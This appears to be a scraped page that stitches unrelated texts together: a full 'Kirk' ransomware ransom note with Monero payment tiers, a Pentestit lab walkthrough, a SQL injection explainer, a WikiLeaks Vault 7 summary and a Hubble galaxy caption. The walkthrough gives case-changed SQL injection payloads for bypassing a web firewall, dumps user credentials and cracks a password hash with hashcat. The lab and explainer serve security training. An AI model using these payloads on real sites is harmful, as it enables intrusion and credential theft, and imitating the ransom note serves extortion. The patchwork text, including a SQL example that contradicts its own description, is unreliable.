              .MK;kWMMMWWKOc.  .                        ..';cdxkKNX0kOOOKNMMMMMMMMMMMMMMMMMW:    .
              ,MW:,:x0NMMMMWW0x'                          ..,:dXNWW0xkkKWMMMMMMMMMMMMMMMMMMWk.  ..
              oMMN;    ;odoccc;c:.                         ...lXWWMOok0NMMMMMWNXKXKXWMMMMMMMOc.
              XMMMX,                                    ....';lldkWkodK0loc'.  .'lxx0kOKNMMMXo.
            'XMMMMMNc                                            .dldXWx.      ..,,coOXOkXMMMK,
       ,.   .:dk0KNWMk.                                 ...        .kWMK,.  ..:c .:.. .0MWMMMMO.
  .':x0K0:.          ..   .                                 .      .OWMNNXO:cccdxKXWMW0o0WWMMMM;.
 00000000000kdl:,'.                                      ..'o00l   'KMMNKNWWNKXWWMMMMMMMMMMMMMM0.
 0000000000000000000Oxl:'                                .;xKWWx  .xNMMMWNMMMMMMMMMMMMMMMMMMMMMMl
 0000000000000000000000000x;. ..,::,.                  .ck0KKk'   '0WMMMMMMMWWMMMMMMMMMMMMMMMMMM0.   .'
 0000000000000000000000000000Oxdllc:;,....,'...       .cdkOko:     ,cOKKXWMMMKd0WMMMMMMMMMMMMMWW0. 'Kc:,
 000000000000000000000000000000000OkkkxdoodxOkoooool   .;okOx,       .,'...cKMXl'oKWMMMMMMMWWNXN0  'MMc0.
 0000OO000000000000000000000000000000000000000kc.      .:dk0c         ,KNKxdKMMM0;;kMMMMMMMMWNKXO  ,kW0xl
 OdloxO000000000000000000000000000000000000000000x,     .,ll;      .lokKWMMMMMMMMM0xNMMMMMMMNXXNo.xK;cXKx
 lx000000000000000000000000000000000000000000000000l     .'..    .'cKWXOXMMMMMMMMMMMMMMMMMWWNXXNKX0MNkNK0..
 00000000000000000000000000000000000000000000000000O      ..    ..,;ok0X000KKXWMNNMMMMMMMMNNXKKXX00MMMWWc',
 00000000000000000000000000000000000000000000000000d              .. ..........;;.cKMMMMMWNXKKXNKxkNMMX,
 000000000000000000000000000000000000000Ko.0000000Ol                .'::odkkOOOxxxoxNMMMMNNWNXKK0k..;'
 0000000000000000000000000000000000000000..:000000kl             .:coododkXWMMMMMMMWWMMMNNNNNKOkkx:
 :;ok00000000000000000000000000000000000O.;.d00000dc        ...   .........cONMMMMMMMMMNXXXN0dlddxN.
 .dk000000000000000000000000000000000000;ld,.O00kocc        ..    ...,;::lokKNMMMMMMMMWKOO0OxloocxM:
 OO0000000000000000000000000000000000000ol0Koc0xc:ll  .         ..;lxO0XNNMMMMMMMMMMMN0xoxOdl::,;0Md
 :;,'..;loxk000000000000000000000000000000000lx..loo ,0          .'';lkKKNMMMMMMMMMNOd:;lc:;'..,kWMK
 cccldxkkkO00Okdooddxk00000000000000000000000Oc'lddl dK,            .':ollokOOOOOOOc'.........lXMMMM,
 000000kdoc,....;cldkO0000000000000000000000Okdodddo'K0'.                   .......        .oKMMMMMM0
 :,'....',;:ldkO0000000000000000000000000000Okxodddd;Xk,...                              .l0NMMMMMMMM:
 OO000000000000000000000000000000000000000000OkodxxxoXo,,,..                           .:kKWMMMMMMMMMW'
 dO0000000000000000000000000000000000000000000OodxxxkKl;,,,,                          'dOKWMMMMMMMMMMMX

      _  _____ ____  _  __   ____      _    _   _ ____   ___  __  ____        ___    ____  _____ 
     | |/ /_ _|  _ \| |/ /  |  _ \    / \  | \ | / ___| / _ \|  \/  \ \      / / \  |  _ \| ____|
     | ' / | || |_) | ' /   | |_) |  / _ \ |  \| \___ \| | | | |\/| |\ \ /\ / / _ \ | |_) |  _|  
     | . \ | ||  _ <| . \   |  _ <  / ___ \| |\  |___) | |_| | |  | | \ V  V / ___ \|  _ <| |___ 
     |_|\_\___|_| \_\_|\_\  |_| \_\/_/   \_\_| \_|____/ \___/|_|  |_|  \_/\_/_/   \_\_| \_\_____|

Oh no! The Kirk ransomware has encrypted your files!



Your computer has fallen victim to the Kirk malware and important files have been encrypted - locked
up so they don't work. This may have broken some software, including games, office suites etc.

Here's a list of some the file extensions that were targetted:

    .3g2      .rar      .jar      .cgi      .class    .jtd      .potx     .xex      .dds      
    .3gp      .jpg      .csv      .pl       .cd       .jtt      .potm     .tiger    .ff       
    .asf      .jpeg     .psd      .com      .java     .hwp      .sda      .lbf      .yrp      
    .asx      .png      .wav      .wsf      .swift    .602      .sdd      .cab      .pck      
    .avi      .tiff     .ogg      .bmp      .vb       .pdb      .sdp      .rx3      .t3       
    .flv      .zip      .wma      .bmp      .ods      .psw      .cgm      .epk      .ltx      
    .ai       .7z       .aif      .gif      .xlr      .xlw      .wotreplay.vol      .uasset   
    .m2ts     .dif.z    .mpa      .tif      .xls      .xlt      .rofl     .asset    .bikey    
    .mkv      .exe      .wpl      .tiff     .xlsx     .xlsm     .pak      .forge    .patch    
    .mov      .tar.gz   .arj      .htm      .dot      .xltx     .big      .lng      .upk      
    .mp4      .tar      .deb      .js       .docm     .xltm     .bik      .sii      .uax      
    .mpg      .mp3      .pkg      .jsp      .dotx     .xlsb     .xtbl     .litemod  .mdl      
    .mpeg     .sh       .db       .php      .dotm     .wk1      .unity3d  .vef      .lvl      
    mpeg4     .c        .dbf      .xhtml    .wpd      .wks      .capx     .dat      .qst      
    .rm       .cpp      .sav      .cfm      .wps      .123      .ttarch   .papa     .ddv      
    .swf      .h        .xml      .rss      .rtf      .sdc      .iwi      .psark    .pta      
    .vob      .mov      .html     .key      .sdw      .slk      .rgss3a   .ydk                
    .wmv      .gif      .aiml     .odp      .sgl      .pxl      .gblorb   .mpq                
    .doc      .txt      .apk      .pps      .vor      .wb2      .xwm      .wtf                
    .docx     .py       .bat      .ppt      .uot      .pot      .j2e      .bsa                
    .pdf      .pyc      .bin      .pptx     .uof      .pptm     .mpk      .re4                

There are an additional 441 file extensions that are targetted. They are mostly to do with games.

To get your files back, you need to pay. Now. Payments recieved more than 48 hours after the time of
infection will be charged double. Further time penalties are listed below. The time of infection has
been logged.

Any files with the extensions listed above will now have the extra extension '.kirked', these files
are encrypted using military grade encryption.

In the place you ran this program from, you should find a note (named RANSOM_NOTE.txt) similar to this one.
You will also find a file named 'pwd' - this is your encrypted password file. Although it was
generated by your computer, you have no way of ever decrypting it. This is due to the security
of both the way it was generated and the way it was encrypted. Your files were encrypted using
this password.

 ____  ____   ___   ____ _  __   _____ ___     _____ _   _ _____    ____  _____ ____   ____ _   _ _____ _ 
/ ___||  _ \ / _ \ / ___| |/ /  |_   _/ _ \   |_   _| | | | ____|  |  _ \| ____/ ___| / ___| | | | ____| |
\___ \| |_) | | | | |   | ' /     | || | | |    | | | |_| |  _|    | |_) |  _| \___ \| |   | | | |  _| | |
 ___) |  __/| |_| | |___| . \     | || |_| |    | | |  _  | |___   |  _ <| |___ ___) | |___| |_| | |___|_|
|____/|_|    \___/ \____|_|\_\    |_| \___/     |_| |_| |_|_____|  |_| \_\_____|____/ \____|\___/|_____(_)

  "Logic, motherfucker." ~ Spock.

Decrypting your files is easy. Take a deep breath and follow the steps below.

 1 ) Make the proper payment.
     Payments are made in Monero. This is a crypto-currency, like bitcoin.
     You can buy Monero, and send it, from the same places you can any other
     crypto-currency. If you're still unsure, google 'bitcoin exchange'.

     Sign up at one of these exchange sites and send the payment to the address below.

     Make note of the payment / transaction ID, or make one up if you have the option.

    Payment Address (Monero Wallet):

        Days   :  Monero  : Offer Expires
        0-2    :  50      : 03/18/17 15:32:14
        3-7    :  100     : 03/23/17 15:32:14
        8-14   :  200     : 03/30/17 15:32:14
        15-30  :  500     : 04/15/17 15:32:14

    Note: In 31 days your password decryption key gets permanently deleted.
          You then have no way to ever retrieve your files. So pay now.

 2 ) Email us.
     Send your pwd file as an email attachment to one of the email addresses below.
     Include the payment ID from step 1.

     Active email addresses:

 3 ) Decrypt your files.
     You will recieve your decrypted password file and a program called 'Spock'.
     Download these both to the same place and run Spock.
     Spock reads in your decrypted password file and uses it to decrypt all of the
     affected files on your computer.

     > IMPORTANT !
       The password is unique to this infection.
       Using an old password or one from another machine will result in corrupted files.
       Corrupted files cannot be retrieved.
       Don't fuck around.

 4 ) Breathe.

       _     _____     _______    _     ___  _   _  ____ 
      | |   |_ _\ \   / / ____|  | |   / _ \| \ | |/ ___|
      | |    | | \ \ / /|  _|    | |  | | | |  \| | |  _ 
      | |___ | |  \ V / | |___   | |__| |_| | |\  | |_| |
      |_____|___|  \_/  |_____|  |_____\___/|_| \_|\____|
                         _    _   _ ____     ____  ____   ___  ____  ____  _____ ____  
                        / \  | \ | |  _ \   |  _ \|  _ \ / _ \/ ___||  _ \| ____|  _ \ 
                       / _ \ |  \| | | | |  | |_) | |_) | | | \___ \| |_) |  _| | |_) |
                      / ___ \| |\  | |_| |  |  __/|  _ <| |_| |___) |  __/| |___|  _ < 
                     /_/   \_\_| \_|____/   |_|   |_| \_\\___/|____/|_|   |_____|_| \_\

Full version of the Ransom Note:

Full Ransom Note

Pentestit Lab v10 – The Site Token

In my previous post “Pentestit Lab v10 – The Mail Token”, we attained usernames through Intelligence Gathering, brute forced the SMTP Service, attained login credentials, and scored our first token. Today we will take our first steps at compromising the Global Data Security website – which will include the following:

  • Mapping the Attack Surface & Defenses
  • Exploiting SQL Injection w/ WAF Bypass
  • Cracking SQL Hashes
  • Finding the Site Token

If you are reading this post for the first time, and have no clue on what’s going on – then I suggest you start from the beginning and read “Pentestit Lab v10 – Introduction & Setup”.

I also included a ton of resources in my second post that I linked above – you should seriously check that out if you already haven’t!

Mapping the Attack Surface & Defenses:

Whenever we attempt to attack a web application, we have to start by mapping out the web app and its associated structure. That means finding directories, hidden links, files, URL Query’s, etc.

Once we mapped our application – we can start by looking for vulnerabilities such as SQL Injection, XSS, Path Traversal, etc.

For the Global Data Security website (which I will call GDS from now on), I considered the Security Blog a good starting point. 443 - Security Blog 443 – Security Blog

After going through all the links on the website, I noticed a particular URL parameter in the blog posts that caught my eye. mobile hack test page

Notice the id parameter being passed into the URL after post.php? We can actually test this parameter for SQL Injection!

Exploiting SQL Injection w/ WAF Bypass:

I began trying to exploit the id parameter, but for some reason every time I injected some SQL code, I was taken back to the home page.

This made me consider that there might be a WAF or Web Application Firewall in place, preventing me from exploiting this SQL Injection.

I decided to attempt a Case Change Bypass to see if I can somehow bypass the filter. This is due to the fact that some WAF’s only filter lowercase SQL keywords.

I began by injecting the following into the URL:,2%23

After submitting the query – you can see that the SQL Injection is in fact there, and that the Case Change allowed me to bypass the WAF filter. sql inject testing 1-2

Now that we got the SQL Injection to work – let’s start by pulling all the tables in the database with the following:,GroUp_ConCaT%28taBlE_SCheMa,0x20a,TAblE_NaME%29+FrOm+iNfOrmaTioN_scHeMa.TabLeS+WHerE+tAblE_SchEma=DaTabAsE%28%29%23 sql inject test page

Nice! Now that we got our table names, let’s pull all the columns from the “site” table.,GroUp_ConCaT%28TAblE_NaME,0x20,CoLumN_NaME%29+FrOm+iNfOrmaTioN_scHeMa.ColUmNs+WHerE+tAblE_SchEma=%27site%27%23 sql inject testing tables

We see that the users table has a username and password column, so let’s go ahead and dump any data in those columns.,GroUp_ConCaT%28useRnAMe,0x20,paSswOrD%29+FrOm+site.users%23 sql inject lindsey

Cracking MySQL Hashes:

Awesome, we got another username, and a SQL Hash of the associated user’s password. Let’s first start by saving the username for future reference, along with the other usernames we have.

root@kali:~/gds# nano names
root@kali:~/gds# cat names 

Since we got a SQL Hash, let’s use hash-identifier to see what type of hash it is. Then, we can use HashCat to try and crack it!

root@kali:~/gds# nano lindsey_hash
root@kali:~/gds# cat lindsey_hash 

root@kali:~/gds# hash-identifier
   #	 __  __ 		    __		 ______    _____	   #
   #	/\ \/\ \		   /\ \ 	/\__  _\  /\  _ `\	   #
   #	\ \ \_\ \     __      ____ \ \ \___	\/_/\ \/  \ \ \/\ \	   #
   #	 \ \  _  \  /'__`\   / ,__\ \ \  _ `\	   \ \ \   \ \ \ \ \	   #
   #	  \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \	    \_\ \__ \ \ \_\ \	   #
   #	   \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/	   #
   #	    \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #								 By Zion3R #
   #							www.Blackploit.com #
   #						       Root@Blackploit.com #

 HASH: $1$w9aURG9k$Wf1VIpv9VET3v3VWZ4YD8. 

Possible Hashs:
[+]  MD5(Unix)


root@pentestit:~# hashcat -m 500 -a o lindsey_hash /usr/share/wordlists/rockyou.txt
Initializing hashcat v2.00 with 2 threads and 32mb segment-size...

Skipping line: cat lindsey_hash (signature unmatched)
Added hashes from file lindsey_hash: 1 (1 salts)
Activating quick-digest mode for single-hash with salt

[s]tatus [p]ause [r]esume [b]ypass [q]uit => r
All hashes have been recovered

Input.Mode: Dict (/usr/share/wordlists/rockyou.txt)
Index.....: 1/5 (segment), 3605274 (words), 33550339 (bytes)
Recovered.: 1/1 hashes, 1/1 salts
Speed/sec.: - plains, 20.45k words
Progress..: 166528/3605274 (4.62%)
Running...: 00:00:00:09
Estimated.: 00:00:02:48

Started: Mon Mar 20 07:46:37 2017
Stopped: Mon Mar 20 07:46:46 2017

After some time we see that the MD5 Hash is that of the password lindsey123.

Finding the Site Token:

Since we were able to compromise a username and password, we need to find a place where we can leverage these credentials.

At this point, I decide to run dirb to try and enumerate any interesting directories that I might have missed.

root@pentestit:~# dirb

DIRB v2.22 
By The Dark Raver

START_TIME: Mon Mar 20 07:50:58 2017
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt



---- Scanning URL: ----
+ (CODE:200|SIZE:7343) 
---- Entering directory: ----
+ (CODE:302|SIZE:0) 
---- Entering directory: ----
---- Entering directory: ----
---- Entering directory: ----

---- Entering directory: ----

---- Entering directory: ----
---- Entering directory: ----
END_TIME: Mon Mar 20 08:00:01 2017

The admin console looks promising! So let’s go ahead and log in there! site login and token


Once logged in, you should automatically see the Site Token on the main page.

Token (2/13):

We found the token! Go ahead and submit it on the main page to gain points for it!

I didn’t post the actual token. Because, what would be the fun in that if I did? Go through and actually try to compromise the Blog to get the token!

Site  Token complete.PNG

You learn by practical work, so go through this walkthrough, and the lab – and learn something new!

That’s all for now, stay tuned for the next post to compromise the next Token (3/13) – The SSH Token!

The Anatomy of a Web Application – SQL Injection

A web application is the target of a SQL injection attack, so you must understand how these apps work. A web app can be described simply as an application that is accessed through a web browser or application (such as the apps on a smartphone). However, we need to be a little more detailed with our description in order to better understand SQL injection. In essence, a web application works by performing these steps:

  1. The user makes a request through the web browser from the Internet to the web server.
  2. The web server accepts the request and forwards it to the applicable web application server.
  3. The web application server performs the requested task.
  4. The web application accesses the entire database available and responds to the web server.
  5. The web server responds back to the user once the transaction is complete.
  6. The requested information appears on the user’s monitor. The details involved in these steps can change depending on the application involved.


Server-side vs. Client-side

First let’s look at the type of technologies involved in browsing and working with the Web. They mainly fall into two areas: client-side and server-side. Server-side technologies are those that run and are executed on the server itself before delivering information to the requester. Client-side technologies are those that run within the browser or somewhere on the client side. For the purposes of our discussion, we will not be covering client-side here.

Server-side technologies come in many varieties and types, each of which offers something specific to the user. Generally, each of the technologies allows for the creation of dynamic and data-driven web applications. There are a wide range of server-side technologies that you can use to create these types of web applications, among them:

  • ASP
  • Oracle
  • PHP
  • JSP
  • SQL Server
  • IBM DB2
  • MySQL
  • RubyOnRails

All of these technologies are powerful and offer the ability to generate web applications that are extremely versatile. Each also has vulnerabilities that can lead to them being compromised, but this chapter is not about those. This chapter, like SQL injection, is designed to target the code that is used to make the technologies access a database as part of its functioning. This code, when incorrectly crafted, can be scrutinized and result in vulnerabilities uncovered and exploited.

All that is SQL Injection

Introducing SQL Injection

SQL injection has been around for at least 20 years, but it is no less powerful or dangerous than any other attack we have covered so far. It is designed to exploit flaws in a website or web application. The attack works by inserting code into an existing line of code prior to its being executed by a database. If SQL injection is successful, attackers can cause their own code to run. In the real world this attack has proven dangerous because many developers are either not aware of the threat or don’t understand its seriousness. Developers should be aware that:

  • SQL injection is typically a result of flaws in the web application or website and is not an issue with the database.
  • SQL injection is at the source of many of the high-level or well-known attacks on the Internet.
  • The goal of attacks of this type is to submit commands through a web application to a database in order to retrieve or manipulate data. • The usual cause of this type of flaw is improper or absent input validation, thus allowing code to pass unimpeded to the database without being verified.


SQL Attacks in Action

In 2011, Sony Corporation was the victim of a SQL injection that compromised a multitude of accounts (estimated to be over one million e-mails, usernames, and passwords). The FBI revealed that a minimum of 100,000 records, including Social Security numbers of current and former federal employees, were compromised. Additionally, 2,800 of the records obtained included bank account numbers. When investigating this attack, the FBI revealed that not only the DoE and the Army were impacted; NASA, the U.S. Missile Defense Agency, and the Environmental Protection Agency were also affected. Details of these attacks have not been fully released as of this writing. SQL injection is achieved through the insertion of characters into existing SQL commands with the intention of altering the intended behavior. The following example illustrates SQL injection in action and how it is carried out. The example also reveals the impact of altering the existing values and structure of a SQL query.

In the following example, an attacker with the username link inputs for the original code after the = sign in WHERE owner which used to include the string ‘name’; DELETE FROM items; — for itemName into an existing SQL command, and the query becomes the following two queries:

SELECT * FROM items 
WHERE owner = 'link' 
AND itemname = 'name'; 
DELETE FROM items;--

Many of the common database products such as Microsoft’s SQL Server and Oracle’s Siebel allow several SQL statements separated by semicolons to be executed at once. This technique, known as batch execution, allows an attacker to execute multiple arbitrary commands against a database. In other databases, this technique will generate an error and fail, so knowing the database you are attacking is essential.

If an attacker enters the string ‘name’; DELETE FROM items; SELECT * FROM items WHERE ‘a’ = ‘a’, the following three valid statements will be created:

SELECT * FROM items 
WHERE owner = 'link' 
AND itemname = 'name'; 
SELECT * FROM items WHERE 'a' = 'a';

A good way to prevent SQL injection attacks is to use input validation, which ensures that only approved characters are accepted. Use whitelists, which dictate safe characters, and blacklists, which dictate unsafe characters.

Results of SQL Injection

What can be accomplished as a result of a SQL injection attack? Well, there are a huge number of possibilities, which are limited only by the configuration of the system and the skill of the attacker.

If an attack is successful, a host of problems could result. Consider the following a sample of the potential outcomes:

  • Identity spoofing through manipulating databases to insert bogus or misleading information such as e-mails and contact information.
  • Alteration of prices in e-commerce applications. In this attack, the intruder once again alters data, but does so with the intention of changing price information in order to purchase products or services at a reduced rate.
  • Alteration of data or outright replacement of data in existing databases with information created by the attacker.
  • Escalation of privileges to increase the level of access an attacker has to the system, up to and including full administrative access to the operating system.
  • Denial of service, performed by flooding the server with requests designed to overwhelm the system.
  • Data extraction and disclosure of all data on the system through the manipulation of the database.
  • Destruction or corruption of data through rewriting, altering, or other means.
  • Eliminating or altering transactions that have been or will be committed


Next up will be all about the anatomy of a SQL Injection and Database vulnerabilities.

Vault 7: CIA Hacking Tools – Analysis

CIA malware targets iPhone, Android, smart TVs

CIA malware and hacking tools are built by EDG (Engineering Development Group), a software development group within CCI (Center for Cyber Intelligence), a department belonging to the CIA’s DDI (Directorate for Digital Innovation). The DDI is one of the five major directorates of the CIA (see this organizational chart of the CIA for more details).

The EDG is responsible for the development, testing and operational support of all backdoors, exploits, malicious payloads, trojans, viruses and any other kind of malware used by the CIA in its covert operations world-wide.

The increasing sophistication of surveillance techniques has drawn comparisons with George Orwell’s 1984, but “Weeping Angel”, developed by the CIA’s Embedded Devices Branch (EDB), which infests smart TVs, transforming them into covert microphones, is surely its most emblematic realization.

The attack against Samsung smart TVs was developed in cooperation with the United Kingdom’s MI5/BTSS. After infestation, Weeping Angel places the target TV in a ‘Fake-Off’ mode, so that the owner falsely believes the TV is off when it is on. In ‘Fake-Off’ mode the TV operates as a bug, recording conversations in the room and sending them over the Internet to a covert CIA server.

As of October 2014 the CIA was also looking at infecting the vehicle control systems used by modern cars and trucks. The purpose of such control is not specified, but it would permit the CIA to engage in nearly undetectable assassinations.

The CIA’s Mobile Devices Branch (MDB) developed numerous attacks to remotely hack and control popular smart phones. Infected phones can be instructed to send the CIA the user’s geolocation, audio and text communications as well as covertly activate the phone’s camera and microphone.

Despite iPhone’s minority share (14.5%) of the global smart phone market in 2016, a specialized unit in the CIA’s Mobile Development Branch produces malware to infest, control and exfiltrate data from iPhones and other Apple products running iOS, such as iPads. CIA’s arsenal includes numerous local and remote “zero days” developed by CIA or obtained from GCHQ, NSA, FBI or purchased from cyber arms contractors such as Baitshop. The disproportionate focus on iOS may be explained by the popularity of the iPhone among social, political, diplomatic and business elites.

A similar unit targets Google’s Android which is used to run the majority of the world’s smart phones (~85%) including Samsung, HTC and Sony. 1.15 billion Android powered phones were sold last year. “Year Zero” shows that as of 2016 the CIA had 24 “weaponized” Android “zero days” which it has developed itself and obtained from GCHQ, NSA and cyber arms contractors.

These techniques permit the CIA to bypass the encryption of WhatsApp, Signal, Telegram, Wiebo, Confide and Cloackman by hacking the “smart” phones that they run on and collecting audio and message traffic before encryption is applied.


CIA malware targets Windows, OSx, Linux, routers

The CIA also runs a very substantial effort to infect and control Microsoft Windows users with its malware. This includes multiple local and remote weaponized “zero days”, air gap jumping viruses such as “Hammer Drill” which infects software distributed on CD/DVDs, infectors for removable media such as USBs, systems to hide data in images or in covert disk areas ( “Brutal Kangaroo”) and to keep its malware infestations going.

Many of these infection efforts are pulled together by the CIA’s Automated Implant Branch (AIB), which has developed several attack systems for automated infestation and control of CIA malware, such as “Assassin” and “Medusa”.

Attacks against Internet infrastructure and webservers are developed by the CIA’s Network Devices Branch (NDB).

The CIA has developed automated multi-platform malware attack and control systems covering Windows, Mac OS X, Solaris, Linux and more, such as EDB’s “HIVE” and the related “Cutthroat” and “Swindle” tools, which are described in the examples section below.


CIA ‘hoarded’ vulnerabilities (“zero days”)

In the wake of Edward Snowden’s leaks about the NSA, the U.S. technology industry secured a commitment from the Obama administration that the executive would disclose on an ongoing basis — rather than hoard — serious vulnerabilities, exploits, bugs or “zero days” to Apple, Google, Microsoft, and other US-based manufacturers.

Serious vulnerabilities not disclosed to the manufacturers places huge swathes of the population and critical infrastructure at risk to foreign intelligence or cyber criminals who independently discover or hear rumors of the vulnerability. If the CIA can discover such vulnerabilities so can others.

The U.S. government’s commitment to the Vulnerabilities Equities Process came after significant lobbying by US technology companies, who risk losing their share of the global market over real and perceived hidden vulnerabilities. The government stated that it would disclose all pervasive vulnerabilities discovered after 2010 on an ongoing basis.

“Year Zero” documents show that the CIA breached the Obama administration’s commitments. Many of the vulnerabilities used in the CIA’s cyber arsenal are pervasive and some may already have been found by rival intelligence agencies or cyber criminals.

As an example, specific CIA malware revealed in “Year Zero” is able to penetrate, infest and control both the Android phone and iPhone software that runs or has run presidential Twitter accounts. The CIA attacks this software by using undisclosed security vulnerabilities (“zero days”) possessed by the CIA but if the CIA can hack these phones then so can everyone else who has obtained or discovered the vulnerability. As long as the CIA keeps these vulnerabilities concealed from Apple and Google (who make the phones) they will not be fixed, and the phones will remain hackable.

The same vulnerabilities exist for the population at large, including the U.S. Cabinet, Congress, top CEOs, system administrators, security officers and engineers. By hiding these security flaws from manufacturers like Apple and Google the CIA ensures that it can hack everyone &mdsh; at the expense of leaving everyone hackable.


‘Cyberwar’ programs are a serious proliferation risk

Cyber ‘weapons’ are not possible to keep under effective control.

While nuclear proliferation has been restrained by the enormous costs and visible infrastructure involved in assembling enough fissile material to produce a critical nuclear mass, cyber ‘weapons’, once developed, are very hard to retain.

Cyber ‘weapons’ are in fact just computer programs which can be pirated like any other. Since they are entirely comprised of information they can be copied quickly with no marginal cost.

Securing such ‘weapons’ is particularly difficult since the same people who develop and use them have the skills to exfiltrate copies without leaving traces — sometimes by using the very same ‘weapons’ against the organizations that contain them. There are substantial price incentives for government hackers and consultants to obtain copies since there is a global “vulnerability market” that will pay hundreds of thousands to millions of dollars for copies of such ‘weapons’. Similarly, contractors and companies who obtain such ‘weapons’ sometimes use them for their own purposes, obtaining advantage over their competitors in selling ‘hacking’ services.

Over the last three years the United States intelligence sector, which consists of government agencies such as the CIA and NSA and their contractors, such as Booz Allan Hamilton, has been subject to unprecedented series of data exfiltrations by its own workers.

A number of intelligence community members not yet publicly named have been arrested or subject to federal criminal investigations in separate incidents.

Most visibly, on February 8, 2017 a U.S. federal grand jury indicted Harold T. Martin III with 20 counts of mishandling classified information. The Department of Justice alleged that it seized some 50,000 gigabytes of information from Harold T. Martin III that he had obtained from classified programs at NSA and CIA, including the source code for numerous hacking tools.

Once a single cyber ‘weapon’ is ‘loose’ it can spread around the world in seconds, to be used by peer states, cyber mafia and teenage hackers alike.


U.S. Consulate in Frankfurt is a covert CIA hacker base

In addition to its operations in Langley, Virginia the CIA also uses the U.S. consulate in Frankfurt as a covert base for its hackers covering Europe, the Middle East and Africa.

CIA hackers operating out of the Frankfurt consulate ( “Center for Cyber Intelligence Europe” or CCIE) are given diplomatic (“black”) passports and State Department cover. The instructions for incoming CIA hackers make Germany’s counter-intelligence efforts appear inconsequential: “Breeze through German Customs because you have your cover-for-action story down pat, and all they did was stamp your passport”

Your Cover Story (for this trip)
Q: Why are you here?
A: Supporting technical consultations at the Consulate.

Two earlier WikiLeaks publications give further detail on CIA approaches to customs and secondary screening procedures.

Once in Frankfurt CIA hackers can travel without further border checks to the 25 European countries that are part of the Shengen open border area — including France, Italy and Switzerland.

A number of the CIA’s electronic attack methods are designed for physical proximity. These attack methods are able to penetrate high security networks that are disconnected from the internet, such as police record database. In these cases, a CIA officer, agent or allied intelligence officer acting under instructions, physically infiltrates the targeted workplace. The attacker is provided with a USB containing malware developed for the CIA for this purpose, which is inserted into the targeted computer. The attacker then infects and exfiltrates data to removable media. For example, the CIA attack system Fine Dining, provides 24 decoy applications for CIA spies to use. To witnesses, the spy appears to be running a program showing videos (e.g VLC), presenting slides (Prezi), playing a computer game (Breakout2, 2048) or even running a fake virus scanner (Kaspersky, McAfee, Sophos). But while the decoy application is on the screen, the underlaying system is automatically infected and ransacked.


How the CIA dramatically increased proliferation risks

In what is surely one of the most astounding intelligence own goals in living memory, the CIA structured its classification regime such that for the most market valuable part of “Vault 7” — the CIA’s weaponized malware (implants + zero days), Listening Posts (LP), and Command and Control (C2) systems — the agency has little legal recourse.

The CIA made these systems unclassified.

Why the CIA chose to make its cyberarsenal unclassified reveals how concepts developed for military use do not easily crossover to the ‘battlefield’ of cyber ‘war’.

To attack its targets, the CIA usually requires that its implants communicate with their control programs over the internet. If CIA implants, Command & Control and Listening Post software were classified, then CIA officers could be prosecuted or dismissed for violating rules that prohibit placing classified information onto the Internet. Consequently the CIA has secretly made most of its cyber spying/war code unclassified. The U.S. government is not able to assert copyright either, due to restrictions in the U.S. Constitution. This means that cyber ‘arms’ manufactures and computer hackers can freely “pirate” these ‘weapons’ if they are obtained. The CIA has primarily had to rely on obfuscation to protect its malware secrets.

Conventional weapons such as missiles may be fired at the enemy (i.e into an unsecured area). Proximity to or impact with the target detonates the ordnance including its classified parts. Hence military personnel do not violate classification rules by firing ordnance with classified parts. Ordnance will likely explode. If it does not, that is not the operator’s intent.

Over the last decade U.S. hacking operations have been increasingly dressed up in military jargon to tap into Department of Defense funding streams. For instance, attempted “malware injections” (commercial jargon) or “implant drops” (NSA jargon) are being called “fires” as if a weapon was being fired. However the analogy is questionable.

Unlike bullets, bombs or missiles, most CIA malware is designed to live for days or even years after it has reached its ‘target’. CIA malware does not “explode on impact” but rather permanently infests its target. In order to infect target’s device, copies of the malware must be placed on the target’s devices, giving physical possession of the malware to the target. To exfiltrate data back to the CIA or to await further instructions the malware must communicate with CIA Command & Control (C2) systems placed on internet connected servers. But such servers are typically not approved to hold classified information, so CIA command and control systems are also made unclassified.

A successful ‘attack’ on a target’s computer system is more like a series of complex stock maneuvers in a hostile take-over bid or the careful planting of rumors in order to gain control over an organization’s leadership rather than the firing of a weapons system. If there is a military analogy to be made, the infestation of a target is perhaps akin to the execution of a whole series of military maneuvers against the target’s territory including observation, infiltration, occupation and exploitation.


Evading forensics and anti-virus

A series of standards lay out CIA malware infestation patterns which are likely to assist forensic crime scene investigators as well as Apple, Microsoft, Google, Samsung, Nokia, Blackberry, Siemens and anti-virus companies attribute and defend against attacks.

“Tradecraft DO’s and DON’Ts” contains CIA rules on how its malware should be written to avoid fingerprints implicating the “CIA, US government, or its witting partner companies” in “forensic review”. Similar secret standards cover the use of encryption to hide CIA hacker and malware communication(pdf), describing targets & exfiltrated data (pdf) as well as executing payloads (pdf) and persisting (pdf) in the target’s machines over time.

CIA hackers developed successful attacks against most well known anti-virus programs. These are documented in AV defeats, Personal Security Products, Detecting and defeating PSPs andPSP/Debugger/RE Avoidance. For example, Comodo was defeated by CIA malware placing itself in the Window’s “Recycle Bin”. While Comodo 6.x has a “Gaping Hole of DOOM”.

CIA hackers discussed what the NSA’s “Equation Group” hackers did wrong and how the CIA’s malware makers could avoid similar exposure.


Seeing things sideways

This image from Hubble’s Wide Field Camera 3 (WFC3) shows NGC 1448, a spiral galaxy located about 50 million light-years from Earth in the little-known constellation of Horologium (The Pendulum Clock). We tend to think of spiral galaxies as massive and roughly circular celestial bodies, so this glittering oval does not immediately appear to fit the visual bill. What’s going on?

Imagine a spiral galaxy as a circular frisbee spinning gently in space. When we see it face on, our observations reveal a spectacular amount of detail and structure — a great example from Hubble is the telescope’s view of Messier 51, otherwise known as the Whirlpool Galaxy. However, the NGC 1448 frisbee is very nearly edge-on with respect to Earth, giving it an appearance that is more oval than circular. The spiral arms, which curve out from NGC 1448’s dense core, can just about be seen.

Although spiral galaxies might appear static with their picturesque shapes frozen in space, this is very far from the truth. The stars in these dramatic spiral configurations are constantly moving and spinning around the galaxy’s core, with those on the inside whirling around faster than those sitting further out. This makes the formation and continued existence of a spiral galaxy’s arms something of a cosmic puzzle, because the arms wrapped around the spinning core should become wound tighter and tighter as time goes on — but this is not what we see. This is known as the winding problem.Credit:

ESA/Hubble & NASA